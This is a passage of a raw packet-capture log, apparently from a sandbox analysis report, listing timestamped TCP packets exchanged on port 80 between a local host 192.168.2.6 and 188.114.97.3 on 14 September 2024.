Sep 14, 2024 18:44:13.649943113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649976969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649996042 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.650010109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650043011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650063992 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.650075912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650109053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650126934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.650142908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650176048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650190115 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.650209904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650243044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650263071 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.650275946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650309086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650325060 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.650341988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650376081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650388002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.650408983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650463104 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.650700092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650733948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650767088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650785923 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.650882006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650916100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650933981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.650947094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.650980949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.651009083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.651012897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.651046991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.651061058 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.651078939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.651113033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.651133060 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.651145935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.651179075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.651191950 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.651211023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.651245117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.651259899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.651277065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.651310921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.651324034 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.651344061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.651376963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.651398897 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.651441097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.651493073 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.651585102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.651617050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.651675940 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.719445944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.719466925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.719479084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.719491959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.719523907 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.719557047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.719574928 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.719577074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.719588995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.719602108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.719624996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.719641924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.719682932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.719856024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.719867945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.719880104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.719892025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.719909906 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.719926119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.719930887 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.719960928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.719978094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.720221043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.720253944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.720276117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.720285892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.720319033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.720339060 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.720352888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.720385075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.720405102 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.720419884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.720473051 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.720635891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.720669031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.720701933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.720714092 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.720736027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.720767975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.720791101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.720824957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.720873117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.735821962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.735852957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.735905886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.735937119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.735970020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736002922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736027956 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.736027956 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.736041069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736058950 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.736150980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736182928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736217022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.736217976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736251116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736270905 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.736301899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736445904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736457109 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.736479998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736512899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736527920 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.736545086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736573935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736608982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736640930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736643076 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.736658096 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.736676931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736712933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736723900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.736746073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736778975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736793041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.736813068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736845016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736854076 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.736877918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736911058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.736922026 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.736943007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737004042 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.737165928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737195015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737229109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737257957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.737262011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737297058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737329006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737329960 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.737363100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737384081 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.737395048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737427950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737457991 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.737461090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737493038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737514973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.737526894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737559080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737574100 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.737591982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737652063 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.737898111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737929106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737961054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.737973928 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.737993956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738024950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738039017 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.738056898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738090038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738106012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.738121986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738154888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738181114 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.738187075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738220930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738228083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.738251925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738284111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738296032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.738316059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738348007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738362074 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.738382101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738414049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738430023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.738446951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738481998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738497019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.738516092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738562107 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.738821030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738853931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738886118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738900900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.738918066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738950968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.738964081 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.738982916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739015102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739027023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.739046097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739078045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739104986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.739109993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739141941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739159107 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.739173889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739207983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739219904 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.739239931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739274025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739284992 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.739305019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739336967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739365101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.739368916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739413023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.739422083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739454031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739500046 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.739666939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739698887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739731073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739744902 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.739764929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739798069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739805937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.739830017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739859104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739888906 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.739891052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739923000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739937067 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.739954948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739986897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.739999056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.740021944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.740068913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.808296919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.808352947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.808386087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.808402061 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.808420897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.808465004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.808517933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.808551073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.808583975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.808599949 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.808615923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.808650017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.808659077 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.808851004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.808885098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.808908939 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.808917046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.808950901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.808964968 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.808984041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.809016943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.809041023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.809050083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.809082031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.809112072 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.809113979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.809149027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.809164047 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.809350967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.809386015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.809402943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.809418917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.809452057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.809484005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.809508085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.809516907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.809549093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.809575081 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.809583902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.809612036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.809647083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.824400902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.824434042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.824457884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.824469090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.824515104 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.824517965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.824549913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.824609995 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.824632883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.824680090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.824713945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.824733973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.824793100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.824825048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.824843884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.824858904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.824891090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.824903965 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.825025082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825073957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825077057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.825109005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825140953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825160027 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.825175047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825203896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825226068 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.825236082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825269938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825290918 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.825303078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825351000 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.825525045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825556993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825589895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825622082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825638056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.825654984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825687885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825689077 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.825721979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825757027 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.825803041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825835943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825860023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.825867891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825906038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825917959 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.825938940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.825984001 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.826113939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826145887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.826174974 CEST	80	49722	188.114.97.3	192.168.2.6
